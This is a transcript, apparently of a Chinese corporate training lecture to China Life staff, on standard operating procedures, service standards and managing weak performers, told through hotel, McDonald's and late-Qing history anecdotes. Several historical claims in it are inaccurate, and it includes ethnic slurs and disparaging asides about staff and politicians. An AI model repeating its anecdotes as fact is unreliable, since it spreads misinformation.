慈禧太后吃完饭的时候,如果太监走过来说:老佛爷,你用完了吗?啪一个耳光就打上去,你还用问吗?SOP!对吗?西太后筷子,如果是直的摆,表示还要继续吃,如果横得往前推,表示吃完了,就这么一个记号。大太监一看就出去,把左手拿起来,中指和食指合并,这就叫上水。太后吃完饭要上水的,水上去,一个银盆,中间漂着六片莲花。太后一漱完口,大太监又出去了,上荷,早上喝龙井,中午碧螺春,晚上吃普洱,分得非常清楚。太后中午喝什么茶,问都不用问,统统按SOP,他的茶盖如果是虚掩着的表示还要继续喝。掀起来,斜靠在旁边,表示喝完了。大太监一看又出去了,上烟!太后吃完了要抽水烟袋的,上烟的要从她右边绕过去,跪在烟点的方向,给她擦火。这一切都是静悄悄的,没有任何声音。这批人紫禁城统统有SOP的,什么事情统统有一个默契,你说还需要讲话吗?

所以,中国人寿也可以做到静悄悄,单总以后一出去,你就知道为什么,如果你问,单总什么事啊!啪!还要问,SOP!还要问?没默契,那就不得了。所以,SOP对每个公司来讲都非常的重要,它是一切行为的规范。任何行为都写SOP里面,包含跟客户的交易,其实通通都有SOP的。那么他该怎么写呢?你看底下这个。先把人的SOP写起来,因为任何问题都跟人有关,你不觉得吗?管理就是管人吗?讲穿了就是人。所以把岗位说明和岗位规范先把它写好。写好以后,我们就开始写生产SOP,物料SOP,销售SOP,财物SOP。当然我知道,人寿保险本身就不叫做生产,我们称之为营业或称营运。你像搞中国电信,他们称之为SOP,不过这个不重要,重要的是每个部门的SOP,统统要写在人事SOP的后面。所以我觉得人是伟大的,管人是非常重要的。偏偏在中国的大企业里面,关于人的常常不太重要。我后来发现用人权,常常抓在老总的手上,而且人事的裁量权、调度权,也常常握在领导的手上。所以,人力资源部门的核心就稍微的下降了,这个我们不去管它,那是人事管理的问题。但是至少,人要先规范,后面才会有生产、物料、销售、财务。你看看最后那个字是什么?绩效考核。所以你一天到晚考核人家的绩效,有一天你跟人家说,你的绩效考核不大好,他会讲一句不太好听的话,他会说李经理,我那一点不合格?王副总,我什么地方做得不规范?赵总,我什么地方公司不喜欢?你说!公司有SOP吗?好?没有!当公司没有SOP的时候,您怎么能考核别人?所谓绩效考核,跟标准有落差,反差太大,那么你的标准在哪里呢?所以要规范出来,因为我们没有把它规范,而且不是写的非常的具体,而是太抽象。

我举个例子,你们的人事考核,我是没有看过,很多公司的人事考核上面写的不是很明确的。我举个例子,我看过宝钢的人事考核,中间有一项,勤勉80分,60分、40分、当然最高是100分,不可能是100分。热忱,80分,60分,40分,20分,我就笑一笑,跟他们周总讲,我说周总,这样去评分,其实是没有意思的,因为什么叫做勤勉?勤勉的定义在哪里?什么叫做热忱?热忱的定义在哪里?40分的热忱跟60分热忱差在哪里?我说你有机会去看看上海联华超市的人事考核表,他们不是这样写的,因为考核一个超市和他的小姐,这种方法是考核不出来的,他们讲的很有道理。客人在结账的时候,不能很快的把财务算的很清楚,这样应该扣几分?客人把东西统统拿出来的时候,不懂得把鸡蛋和西红柿、蛋糕连卫生纸都分开放,是不合格的。客人把帐结完以后,不能把他的东西放在袋子里,而且分成二三包,这没有道理的。所以他们联华超市就讲了,我看你怎么样子结帐和怎么样去包装,我就知道你的绩效。

所以他们讲什么叫做勤勉?什么叫做热心?这东西叫抽象。把行为规范出来,就做这样子,做这样就对了。所以他们统统就是规范,一考核就讲你做到这个,你做到这个,做到这个吗?所以统统都是这样子。你一个月算错几次钱?你每次算钱的速度有多少?给100元人民币,你找钱能找多快?他们是考核这个,所以别的就不重要了,这就叫细细的规范。所以,抽象的说明,他们觉得没有意义。果然不错,凡是人事考核表上都是抽象地说明的,他们考核都不够具体。最后就变成凭主管的好恶,高兴嘛就多给点分数,不高兴就少给点分数,看不顺眼就不合格,就弄成这样子。因为没有SOP,考核人家的时候,人家就不会服气。

现在回来看我们的大纲,这件事情如果做到了,我们来看另外一句话。标准是一种誓约,一种品质要求。甚至可以使优秀的人引发他的自尊,这就是所谓的标准。我一次去嘉定,我一进酒店就看到墙上挂着三颗星,我其实看到了。后来服务员帮我拿行李上电梯,上去的时候,我就故意问他,你们酒店几颗星啊?她笑一笑没有吭气。你猜他为什么笑笑?这有什么好说呢,三颗吗?其实那个少爷,就是那个服务员长得很标志,个子高高的,身高1.75,1.75那个样子,长得白白俊俊漂漂亮亮的,我觉得这个服务员看起来非常的舒服,结果那个三颗星委屈了他,他不知道被人家问过了多少次?你们酒店三颗星吗?所以,他觉得很委屈,请问这种委屈是谁造成的?那个三颗星的酒店造成的嘛?所以中国人寿,如果表现得很好,在中国人寿上班,就会有种尊严。如果表现不好,这种尊严衬托不起来。

因为我马上讲第二个例子。我在马可波罗住过,第一次去的时候也是看到墙上挂四颗星。我一进去那个服务员,我也是故意问问题,你们酒店几颗星啊?你猜他怎么答的,四颗,不过是准五颗。啊唷,准五颗是什么意思?我们总经理讲过了,四颗的硬件,五颗的软件。我说有道理,能够做到这样,就是有道理。我看看你们的表现是不是五颗账的软件?结果真的是,为什么?因为发生了一件事情。这个地方有一封信,是马可波罗酒店写给我的,右下角是他们总经理签字,你看到吗?是林永昌总经理。尊敬的余先生,就知道这封信是写给我的。我去马可波罗的时候,我给我的小姐说,我要一个不吸烟的楼层,而且是一个大床。一去的时候,她给我说没有了。没有了?她说余先生你得晚一点。晚了一点,我的飞机刚到就奔来了。抱歉,真的没有了,好吧!那还有什么后果呢?余先生吸烟楼层二个单人床,不吸烟楼层有大床,随你挑!那就不吸烟楼层,结果上去一看,我这个东方人,个子已经很小了,我都觉得那个小床很小,老外睡上去大概膝盖以下在外面。我就拿出一张纸来,开始写信了,从洗脸台看到马桶,从地毯看到被单,从枕头看到衣柜,统统给他看了一下。写了三张A四的纸,贴上我的名片,给那个老总。其实我不喜欢婆婆妈妈的人,我是个商人,我在外面做生意,也非常重视客户给我写意见,有这种热心客户我会非常喜欢的。所以我也要照顾他人啊!我就把这个信写了。我回到上海第四天,收到他们的回信。尊敬的余先生,把我的话统统都答复了,右下角是他们的总经理林永昌签名。我从今以后到厦门统统都住在马可波罗,这就是所谓的五颗星的软件。你的硬件既然是四颗星,你就把你五颗星的软件做到嘛?因为这个软件是可以不花钱的。硬件是要花钱的。对吗?这个是所谓的尊严,一种尊严。

最有趣的是上海凯悦经贸86层,他在试营业的时候我就去了。当我坐着电梯一直往上去的时候,里面也是一个穿得很漂亮的服务员。我也是问他,啊唷!这个酒店可漂亮,应该几颗星啊?因为那时还没挂。那家伙居然说,你说呢?我看应该是五颗星!他说,那还用说吗?这就是尊严,如果人家问你,你在哪里高就啊?中国人寿,这样的话叫做尊严。如果你讲,在一个跟生命有关的单位,生命有关是什么意思?跟生命寿险有关的单位,那你是做寿险罗?可以这么说。哪一家寿险啊?恩,第一个字一共四划,你要这样讲,就对公司没有信心,对不对?如果讲中国人寿觉得丢脸,这就出了不好的事,就是一种委屈,就是公司对不起你。所以我们说标准是一种尊严,把好的留下,让坏的离开。

如果一个公司没有标准,统统都是坏的留下,好的离开。但是标准做到最后会出现什么事情?你再看,最后会出现什么事?我们回到刚才的第3句话,标准做到最后会成为一种原动力,就是你不用去讲,他自己会做得很好,这个叫做原动力。我们是认为最高境界,因为这种原动力最难表现。自动地把它推往一个更商的境界。到那时候,主管都不用讲话,他自动自发地就做到这种程度。我们拿一个图片出来看一下。

这个图片上有五颗星,我借这张图片来说明五颗星的概念,其实我要讲的是希尔顿酒店。敢说是五颗星,就要做到五颗星的样子。我在美国纽约当亚瑟顿副总的时候,我在希尔顿是常包房,这张照片并不是希尔顿,我只是拿五颗星来表现,什么叫做五颗星。有一个礼拜天下午没有什么事,坐在大堂吧前,静悄悄的喝我的咖啡。那是一个黄昏,来了一对老夫妇,拎了个皮箱,有没有房间啊?那个柜台,他讲话怎么讲呢?如果他讲:没有!这样叫做二颗星。如果他说,噢,你把名字给我,看看有没有房间,啊呀,你没有订过位置吗?抱歉,没房间。这样是三颗星。张三先生,真抱歉,今天周末没有房间,你如果早点定位就好了,你出去逛一逛等一等,我看看有没有不来的,让你候补。这样讲是四颗星。我出去逛,逛到什么时候,半夜里,万一你给我说没有房间,你让我睡火车站?这样叫四颗星,不能这样讲。希尔顿不是这样讲的,所以不愧是五颗星的酒店。啊呀,真抱歉,没有房间,今天是周末,如果你早点定就好了。不过,我们这附近还有些不错的酒店,要不要我帮你试试看?有没有房间?那个人说为什么不要,老先生,为什么不要。就好,他马上掏出个卡片,签了个字,来,这个是免费的咖啡券,到大堂吧坐一下,免费二杯咖啡,你们夫妇。我马上帮你查,那二个老夫妇就在大堂吧,喝了咖啡,坐在我的旁边,我就问他了:先生,刚才你们讲的话我都听到了,我说为什么不事先定个房间呢?希尔顿是有名的酒店,很快就没有房间了,今天周末。他说,啊唷,我那个儿子昨天打电话给我,叫我马上冲过来,所以没有订房间啊!我们就聊了一下,柜台就冲过来了。好消息,我们后面那条街的喜来登,还有一个房间,等级跟我们一样,还便宜20美元,要不要。他又坐在那里说,为什么不要!好,慢慢喝!他又冲走了,没有多久又冲过来了,他们快到了,不过先生你慢慢喝,我会叫他们等你。结果那个老先生,那个老太太马上晃荡一口,喝完了,站起来拎着箱子,我一看,晃荡一口喝完了,跟着他们出去,看发生了什么事情?因为我很喜欢研究市场,结果喜来登的车子到了,老太太一上去,行李一上车,老先生趴着车门,脚一上去之后,你猜他回头讲一句什么话?下一次我们再来,还是住希尔顿,讲完了扬长而去。

如果你是喜来登开车的,你有什么想法?妈的,死没良心的东西,下次来还住希尔顿?但是你从另外的角度,你为什么有这样想法?呱呱!希尔顿是怎么做的,让他讲这种话?对不对?这样叫做五颗星。所以希尔顿那个男的和那个女的在柜台上忙的时候,旁边一个主管都没有。请问,为什么做到这种程度?因为胸前挂了个闪亮的牌子,希尔顿!就凭这个名字让他做成五颗星,这个名字让他丢不起脸,做到五颗星的服务。

所以一个公司到了这种程度就叫做推动力。这个五颗星的推动力,把它推到这样的价位,这样子的水平!所以我才发现,一种标准和尊严能够把人推到这种程度,就到了最后,他就变成了一个习惯,任何人走到希尔顿,去他那种气氛下,你很快就像他那个样子。所以人家讲近朱者赤,近墨者黑,就是这个道理。所以你一进入希尔顿,哪怕你是个懒散的人,你看到同事做事情那样兢兢业业,我相信你想懒散也懒散不起来。这就叫一个企业的文体跟氛围,能够塑造一个人的品质。于是我们把刚才地个话再简单的看一下,就会发现重要的观念,就是标准能让一个人在推动力下形成一种原动力,最后不断的推,让他做到这样的标准。

毛病十:纵容能力不足的人

在中国人寿里,有没有能力不足?当然有。任何一个地方一定有这种人,这不是你的错,绝对不是你的错,这是制度的问题。可是我讲的不是能力不足,我讲的是前面二个字,你可不可以不要纵容他?这个是最重要的,不要纵容能力不足的人,如果一旦纵容他,这就是你的错。所以对能力不足的人该怎么管,怎么弄,这是公司人事部门的事。但是你不要纵容他,你一旦纵容就坏了整个公司的制度。因为第一句话出来了,管理不是比赛谁最受欢迎。

我们举个例子,监察室的主任,石主任,石英俊,搞监察,这两个字你听到是什么想法?就是纠举一切错误。石主任如果跟人家说,当然这是假设,我常常把你们假定,不要介意。如果石主任说,啊呀,我人缘很好,大家都非常的喜欢我,所以整个中国人寿浙江省分公司的人都说石主任是个好人。石主任是错的,为什么说坏人也说他好人呢?所有浙江分公司的人都说石主任是个坏蛋,他有问题,好人为什么说他是坏蛋呢?所有浙江分公司的好人都说石主任是个好人,所有坏蛋都说他是个坏蛋,石主任是正确的。所以有句话要这样念,做人就不要做事,做事就不要做人。我这里指做人就是难兄难弟,搞哥们,搞兄弟关系。那么就不要做事,做人就不要做事,做事就不要做人,如果石主任跑去找单总,我这个人没有办法,一看到兄弟就软下去,你饶了我吧,我把权利交回。单总说,坦白!坦白!把权利收回,下去!当难兄难弟,开始活在一起。这样子也好,我喜欢这种人,坦白,把权利交回,再去当难兄难弟,不是手上握着国家的资源,握着政府的资源,握着组织和机关和企业的资源,然后替自己做人际关系,所以石主任想当好人还不简单。一起事情统统不要纠查,大家统统说他是好人。然后每天都活在一起!唱明天会更好!这种事情谁不会做啊!所以,做人就不要做事。管理不是来比赛,没有这种观念,如果这样叫管理者,这个主管就很好当。

第二个,15年前中国最好的城市是哪一个?广州。因为我待过,15年前那个广州白云机场,紧张得不得了,人潮汹涌,水泄不通,游客进出如织啊!外国的厂商络绎不绝,那时候广交会还记得吗?所以,中国的广州15年前是最早开发的城市。没有想到今天我们再去广州,就只有一个字,乱。你看看广州车站那个样子,你看看去白云机场搭飞机看看经过的路,你看看广州的那个招牌,你看那个高架桥,在转弯的时候,好象那个车子要掉下去,跟上海的南北高架,延安高架能比吗?跟北京的二环,三环,四环、现在的五环能比吗?那么我请问,你猜发生了什么事情?因为广州前面的二个市长讲了这么句话,大不了回家种田,大不了回湖南种田,江××说回去种田。所以今天要不要回湖南种田是你家的事,在中国当国务院总理就是把事情做好。所以还好,我们朱总理是不可能这样讲话的,但是广州那个承德的市长确实这样讲话。所以那个承德人在广州当市长的时候,竟然讲出这样一句话,所以广州弄成这个样子了。所以广州的问题,是他市长要负很大的责任,跟现在的天津市长,凡事都要禀报李瑞环不是一样的道理吗?大家都没有努力的学习,但是你看看这个杭州市长就不一样了,听说是温州人,做事情非常积极的,讲了一句很狂妄嚣张的话,但是很有道理,谁说杭州是上海的后花园,上海是杭州的门口,客人在门口脱鞋进杭州客厅,有道理哗!所以杭州这几年就起来了,就这样起来的。你看那个苏州,当选世界九个科技城市,全世界唯一进去的城市就是苏州,那个苏州市长也是冒起劲来拼命的干。你看看那个大连市长,现在调辽宁省长,薄熙来,你看他做事情,所以,这是有道理的。薄熙来去考察过天津,因为本来是要把薄熙来从大连市调天津市的,结果他去一看,就是说不行,不能干,结果他就走了。请问薄熙来为什么要拒绝当这个天津市长?就是天津市长有很多人事包袱,有很多无形的手在后面掌握。所以,薄熙来一看就知道这个天津不能玩,结果他回到东北继续干他的辽宁省长。他宁愿干辽宁省长,不想干天津市长,一定是出了什么状况。这就证明大连市、苏州市、杭州市有今天,绝对不是侥幸,每个市长都要努力。

从沪杭高速一下来,就可以看到一个很大的招牌上面怎么写的,游在杭州,住在杭州,学在杭州,投资在杭州,这就是杭州的新口号,就整个杭州就起来了。你看看西湖这一带最近的改变,都证明大家都要努力的学习,所以中国人寿也一样的,要努力的去学习。民国初年的胡适在台湾,他是一个很有名的学人,后来跟蒋介石到台湾去了。曾经在中央当过中央研究所长和驻美大使,他曾经讲过很有名的一句话,在公开场合,他说中国100年来,有权力的人没有脑筋,有脑筋的人没有权力。这句话不晓得怎么搞的传到蒋介石的耳朵里。蒋介石问过他,你这句话在说谁?你不管胡适是说谁?他的话很有道理,中国100年来有权力的没有脑筋,有脑筋的人没有权力。就是这句话,留住拒绝学习的人,对团队有欠公平,把这个话如果用到国家呢?留住拒绝学习的人,对国家民族有欠公平,为什么?我们拿一个例子出来试试看?因为怕别人超越自己,就会互相包庇,等下我们来举这个例子,先把这句话讲完。如果我们单总是非常有智能的,100分,但他怕底下的超越他,当然我是故意开玩笑,其实他不会这样,结果他就用了打8折的,于是80分的舒总就出来了。那么舒总就不喜欢人家超越他,于是又打了8折,就用了个64分的陈经理。64分的陈经理,就用了一个51.2分的老崔,一直下去最底下的一定是个浓胞。你能不能够说上面的人非常优秀,底下的是浓胞啊!这个话是讲反了,我们要倒过来。

你认为美国现在的那个总统小布什,他的IQ有多少?美国人笑他,他的IQ可能90分都不到。因为前者出了很多事情,其实小布什的IQ是不太高,以前曾经还酗酒,一天到晚喝酒,后来去戒酒,他那个老婆抽烟抽得很厉害,后来跑去戒烟,夫妇二个一个拼命的喝酒,一个拼命的吸烟,所以我们也不认为他有什么不得了。可是现在厉害的美国底下的人,不是上面那个。所以今天领导是100分、90分、95分,底下的10分、20分、30分,这样叫做弄错。因为真正在做事的不是领导,领导是发号施令,这应该要倒过来。领导普通就行了,底下的要优秀,这个要靠什么?要靠人事制度,你是如何筛选底下的人手,如果领导怕底下的人超越自己,就故意暗示人事部门用一个比较差的,那就整个组织就是差了,就是这个样子。

现在我们来讲一个历史上面这样的心态。什么东西在历史上面都是有证据的,这一条船,本来应该是中国的,后来不晓得怎么搞到小日本的手上。那么日本凭着这么条船,就把我们的北洋舰队打掉了。英国人在清朝末年的时候,曾经提醒过我们的光绪皇帝,皇上啊,贵国的海军,总吨数是很强大,你们旁边的日本人可是虎视眈眈啊!我很担心你们这二个国家有一天要打起来。所以,英国人很早就感觉到,日本跟中国迟早要开火的。到那一天,你们吨数多又有什么用?人家的速度快,怎么样?光绪皇帝,我们手上有二条船,快船,想不想买一下啊?光绪皇帝就告诉他的老师翁同和,叫他去禀报慈禧太后。翁同和去跟慈禧太后去讲这件事的时候,太后讲了这么一句话,我说翁师傅啊!你是不是年纪太大了,脑了不好使了。翁同和说,小的不敢,我当初怎么跟你说的,6年之内不准增加一枪、一弹、一兵、一药,你真的忘了吗?老糊涂。所以中国的北洋舰队没有任何扩张,这条船就落到小日本的手上,改了个名字叫亚西纳一号,没想到甲午战争1894年终于开打,一打的时候日本就动用这条船,先打我们中国飞洋号和威远号的右边,从前面绕过来打它的左舷,再从上面绕过去打他的尾部。这条船叫快船,在那个时候就有这种快船,时速达到25级,所以中国的海军是追不上的,结果北洋舰队就这样垮了。你知道真正的原因是什么吗?北洋舰队的幕后总指挥是李鸿章,北洋舰队提督丁汝昌安徽人,李鸿章是哪里人?安徽合肥。所以安徽人用安徽人,就是中国人的老毛病。于是他们两个成了一种派系。其实丁汝昌是陆军,李鸿单日根本称不上是做过军人的,他们两个怎么去打这仗海战呢?

那么你看看日本太平洋舰队的指挥官那个伊腾博文,是英国皇家海军学院毕业的,结果这么一打就完蛋了。李鸿章为了保全北洋舰队,统统都是用银子买的,就暗示丁汝昌,把舰队锁在刘公岛里面,结果日本的舰队在外面围着打。这种现象就像把老鼠装在米袋里,绑起来打是一样的道理,跑不掉,结果北洋舰队就垮了,丁汝昌就自杀了。我读近代史才知道丁汝昌是抽鸦片死的,这就证明,他生前是抽大烟的。所以中国的舰队司令叫做提督,是抽鸦片的,你能跟日本人打吗?丁先生一死,他的尸体装在棺材里面,利用一个晚上,偷偷地把他运出去。外面的小日本看到了,啊!中国的指挥官死了。一个英雄好歹是死了,要死得像个样子,拖回去!干吗?偷偷摸摸的出来,明天把你们的炮统统的拆掉,装在一个炮舰上出来,所以,第二天早上,丁汝昌的棺材埋在一个炮舰上,另外有四个管带,就相当于大夫,他们的棺材也一起摆在上面,5个棺材用一个炮舰送出去,炮管统统拆掉,外面的小日本统统就在那里等,日本舰队司令,伊腾博文一看见丁先生的棺材出来了,马上敬军礼,日本的海军全部降半旗,然后开礼炮。当丁先生的棺材离开刘公岛以后,日本把刘公岛就占领了,这个甲午战争就结束了。结束以后伊腾博文和李鸿章,在日本福岗签订了《马关条约》,伊腾博文问李鸿章这么一句话:中堂大人,我当初在英国留学的时候是第七名,那个第一名很厉害的,是你们中国人,他到哪里去了?李鸿章说,不知道。回来一查,是福州漳州的一个县令。第一名回到我们中国,是福州漳州的一个县令,第七名,坐在明治天皇旁边,日本的总理大臣,就是日本首相。怎么有这么大的差别?

我收集文物和古董,我收藏了一张照片,是英国皇家海军学院的照片。那个里面坐了一对日本人,坐了一对中国人,我每次看到那个照片,心中就非常的感慨,因为他们是两对人,统统是英国皇家海军学院,光绪年间到那里去留学的。回国以后一个是北洋舰队,一个是日本太平洋舰队,他们的命运截然不同。后来签马关条约签到一半的时候,那个小日本把台湾的澎湖给干掉了。李鸿章马上问伊腾博文,伊腾大人,我们在这里签马关条约,怎么把我的澎湖给干了。你猜伊腾博文怎么讲的?刀口的肉没有咽下去痛苦的很。所以国家一旦衰落就很惨,我们也不要过度去指责李鸿章,你今天如果是他,你是要在刺刀下面签条约的,今天你不能骂他卖国贼,应该说是政府无能,所以,他是只好无能,对不对?

终于中国现在慢慢强大了,现在香港回来了,澳门也回来了,你应该说还觉得香港和澳门回家是利用半夜零时零分回家的。这种例子在世界上面都很少见。邓小平马上就用了这个典故,刀口的肉没有咽下去痛苦的很,回家,零点零分零秒。回家,一分都不等,所以在零点零分的时候,把中华人民共和国的旗帜升上去,香港就回家了。国家一旦强大,就有权利讲这种话,我要零点零分回家就回家,你们英国不喜欢,你可以不参加,就是回家,这是因为中国到了这种地步。所以国家一旦强大,什么话都敢讲,国家一衰弱就任人宰割了。今天话讲回来了,不就这句话吗?纵容能力不足的人。所以我每次一看到甲午战争的故事,我就在想那都是纵容能力不足的人。难道邓世昌很差吗?结果最后牺牲,跟船沉下去,如果他是海军舰队司令呢?如果他是当时的提督,而不是丁汝昌呢?可能北洋舰队就不一样了,如果当时慈禧太后买这条快船呢?可能又不一样了。所以整个国家就这样下去了。

我们来看看这个地方的最后一段,所以结论就是不要在办公室里寻找爱。不要以为老好人让问题自动消失,不要怕面对别人。我们在这里是来办事的,到中国人寿是来创业绩,不是来比赛谁受欢迎,更不要闭起眼睛问题就会自动的消失。中国有句很有趣的成语,船到桥头自然直。我知道都是撞到桥头粉碎,不是自然直。如果作为一个主管还怕面对部属,那么我们要怎么办?难道部属要考核我们吗?当然知道有这个制度,所以弄到后来才变成一个笑柄。我们中国的祖先是伟大的,我不止一次的讲的。

我们看看春秋战国时代,中国有名的法家思想的鼻祖韩非子,你看看他那句话是怎么讲的。所以我一直崇拜我们的祖先,我觉得中国祖先充满智能,到了后面就越来越差了。春秋战国时代韩非子讲了这样一句话,只会压制自己叫做怕,只会纠正自己叫做乱,只会节省自己,叫做贱。我们简单地看下,一个人每天只会压制自己的情绪,不敢控制部属,这叫怕事。一个人只会纠正自己的错误,不敢纠正部属,叫天下大乱。一个主管自己吃一个五元钱的盒饭,部属去啃牛排,叫做犯贱。还好,这是韩非子讲的,我还不敢用这个凶猛的字:犯贱。二千多年前,中国在春秋战国时代就有了不起的这种鼻祖韩非子,我后来才知道美国哈佛大学把韩非子全部翻为英文,在他的法学研究所努力的研讨,日本人翻译中国的孙子兵法和唐宋名人录,在那里努力的研读。世界都非常的崇拜我们中国的哲学思想非常的伟大,所以我们不需要读外国的管理,把祖先的话好好的体验一下,就是一部管理。你想想看春秋战国时代,儒家、墨家、法家、道家、阴阳家、中文家、小说家,名家,杂家,对不对?我们中国很灿烂的,没有想到,到了汉朝以后,董仲舒建议刘邦,采用儒家思想,就把其它的统统毁了,中国从此进入2000年以来的乡约、人情、包袱,听起来好象论理,其实是个包袱。把中国社会弄到今天这个地步。

毛主席当初文化大革命的基本动机是想要根除这种不好的文化,只是没有想到以后失控而已。基本上面他原来的构想是有这种想法的,所以可证明这样儒家思想讲得太久了,到最后就会缺少法家精神。你记得孔子讲过一句话吗?危帮不入,乱帮不居,一个地方如果很危险,我就不进去的,一个地方如果很混乱,我是不待的,这就证明孔子自己都不能解决这种违乱的社会。中国有句话叫乱世用重典,在混乱的社会要把法令拔起来,如果大家统统讲人情,是不可能的。

我们来看最后一段,这段话讲完以后,我们就开始要自由讨论了,因为这里最后一段。眼中只有超级巨星,有人脑筋动得快一点,可能会说,嗯!余先生,你这句话好象跟刚才有点矛盾啊?你们可能会这样想,余先生,你说不要纵容能力不足的人,又说不能眼中只有超级巨星,矛盾吗?不矛盾,有矛盾的话我早发现了。这个话是这样解释的:中国人寿浙江分公司,连各公司和职能部门统统算起来,如果是这一块面积,那么你认为超级明星有多少?超人。我认为了不起只有5%。因为人类学家们早就调查过了,这个世界上面IQ超过140的人凤毛麟角,伟大的爱因斯坦,才135分。你认为你的IQ几分?听说90分以下高中不能毕业,初中也不能毕业。所以我们这个教室里面,任何人,包括我们大家的智商在100分到120分之间,这个数字占人类的99%。所以这个世界说谁比谁聪明我不大相信,所以真正的英雄豪杰,或者是巨星是占5%。我们就把他叫做明星。那么另外的95%,我们就把他称之为一般。可是这个一般并不是能力不足啊!所以我加二个字,合格,那就对了。不要纵容能力不足的人,是把这个地方弄成合格。但眼中不能够有超级明星,是叫你不要只看到这个5%,什么道理?

我们来看他的第一段话。大部分赚钱的公司,都是靠中等资质的人,外加少数的超级明星。我们马上就举个例子,这个例子你一定是晓得的,我们来看看这个例子会给你什么启示?我想先把话反过来讲,在我们浙江分公司里面,你认为怎样才叫明星呢?你只要看看大家常常提起谁?可是这样对吗?好,我们来看一个图片。杭州有否这个公司?有!好,有就好办,因为这个公司几乎无人不知:麦当劳。你有机会到麦当劳去一下,不管你喜不喜欢吃,你那个小宝肯定是喜欢吃的,那个玻璃门一打开,脚马上一踩,欢迎光监,从那一刻开始,整个麦当劳团队在替你服务。所以,今天在杭州还是上海,人家麦当劳一开,有这么多人进去吃,钱象潮水一样的往里面涌进,你认为真正的差别在哪里?难道杭州在没有麦当劳前没有餐厅?难道上海衡山路上没有餐厅?最后要的是他们那边的人也是上海人和杭州人,所以真正的问题是他们的管理制度。那个门一开,一进去以后,麦当劳就开始讲了一句话,你以后去麦当劳注意一下,那个在地上扫地的,他穿的衣服如果跟旁边人不一样,那个是店长,麦当劳的店长规定一句话,店长是人家叫的,我们关起门来没有丫长,统统都是员工,所以他们对客户来说统统是员工。因为麦当劳规定30分钟要扫一次地,经常维持地面的整洁,所以一旦客人很多,每个服务员统统出动的时候,店长亲自下去扫地。还有麦当劳点菜的时候,他们排成一条一条的,从来不会发生一条很长,其它的都很短,我们无所谓,长的叫活该,赵小姐喜欢服务,让她去服务好了,我们乐得轻松。在麦当这样子不可以的,他们会说,先生小姐太太过来,他们就这样。如果谁没有讲马上要倒霉的,挨骂的,这是他们的文化,就统统服务。麦当劳点菜的地方看进去是什么?厨房,有没有去看过,这个叫做故意的,看看我们的无名英雄,在替你们准备餐点,这是全世界的麦当劳都规定,点菜的地方看过去一定是厨房,如果不是就是做得不规范。因为他们本部规定是要这样做的,那个里面的人统统都是努力的在做餐点。所以麦当劳从上到下,他们是一个团队,可是他们的眼中没有超级巨星,你绝对看不到谁是超级巨星。所以麦当劳不喜欢用中专以上的人,他说这种大专生,尤其是大学本乎,是不能用的。这种人有个最大的弱点,低不下头,弯不下腰,超级巨星!所以麦当劳不喜欢用。难怪航空公司的小姐也不喜欢用大学本科的人,叫我在飞机上给人家拿小毛巾,给人家倒橙汁,你猜会有什么结果?小姐给我一杯橙汁。她拿橙汁的时候心里会怎么讲?让开!让开!浙大的来了!所以她低不下头,弯不下腰。那我干脆随便用一个温州中学的算了嘛?用一个台州初中的吗?对不对?浙大跟我有什么关系?我请问在1万5千尺以上端橙汁,跟在我们这个酒店端橙汁有什么不同?没有不同,只有高度不同!其实这都叫做端橙汁,你把那毕业证书挂在你那墙上去,到我们公司来就是好好地端,进到我们航空公司就好好地端。进入麦当劳就好好地做事,你知道他们人事部门有个不成文的规定吗?碰到大专以上的尽量不录取。他们说那种人很难教的,那种人低不下头,弯不下腰,不适合做服务员,就是这句话,眼中只有超级巨星。所以麦当劳能够做到今天这个地步,就是从这个地方出发的。

那么另外一句话?另外一句我们把它做这样一个事情来形容。我先拿这个图片给你看,这个英文不是我打的,因为这是从一个英文杂志上拿下来的,××党的未来,这个LIFE,是形容××党的一生,讲的是×××先生现在在改革中国共产党,这个文章是在体制改革,但我呢,不是来提共产党的改革,我是要讲一件事情。我一个朋友问我,余先生,听说英国上个首相梅吉高中毕业,我说是。听说日本东京三个市长是个日本胡瓜,日本歌星,像台湾那个胡瓜一样,我说是。听说日本首相晚上也睡在世伎馆里面抱着妓女,我说是。我说好了,你不要讲了,我知道你要跟我讲什么?看看我们伟大的×主席出身交大,我们的×总理出身清大,我说你大概忘了件事情,做事情的不是他。我现在拿另外个图给你看,做事情的其实不是他们。我今天这话讲了好几次,在上面的人不是做事情的人。最高领导人是那个金字塔的塔顶。因为有人常常问我这个问题,我就终于想起来了,我应该去怎样回答这个问题。最高领导人我写个主席和总理,金字塔的塔顶,底下是文官体系,是全国的各公务人员。今天你给我说我们的×总理和×主席么多的伟大,那是金字塔的塔顶,现在我们用金字塔来形容一下。金字塔的塔顶如果是金刚钻,但是他的塔座如果是个石灰岩,很快就风吹烟灭。金字塔的塔顶如果是木头做的,它的塔座是钢筋水泥,也是屹立不摇。真正的问题在那里?在中国做事情不能一动就提起***、朱镕基和胡锦涛,因为这种人太少了,而且是金字塔的塔顶。我很想问的是底下,全国1450万公务员在做什么?这些人是塔座,这些塔座没有弄好,像石灰岩一样,很快就崩溃了。就是金刚钻的塔顶又怎么样?你看过埃及的金字塔吗?那个塔顶都不大象样子了,远远看地去还是个金字塔,因为那个塔座还是安然无恙。这就证明这种原理是这样解释的,所以以后不要常常提起最高领导。

我在北京的时候,有个北京人给我这样讲,啊呀,中国如果有10个朱镕基就好了,我说同志,你句话是错的,你不应该说中国有10个朱镕基就好,中国有14亿人口,100个朱镕基都不够,应该说我们每个人都不像朱镕基一样,为什么我不是朱镕基,你不能说啊呀中国就有10个朱镕基就好了,那你在做什么?所以大家应该说像塔座那样把它做起来,那个塔顶吗就是精神象征,所以日本首相经常换无所谓,小泉最近当首相了,搞不好明年就换掉了,无所谓的。美国总统就是痴呆,没有关系的。英国首相小学毕业也无所谓啊!你看看伦敦,你们都去过欧洲的,你看那个马黎,他们市长是什么学历呢?世界上有几个人的学历,像我们海峡两岸的统统一样,一动就是大学毕业,一动就是研究生,无所谓的。他们厉害的那个文官体系。

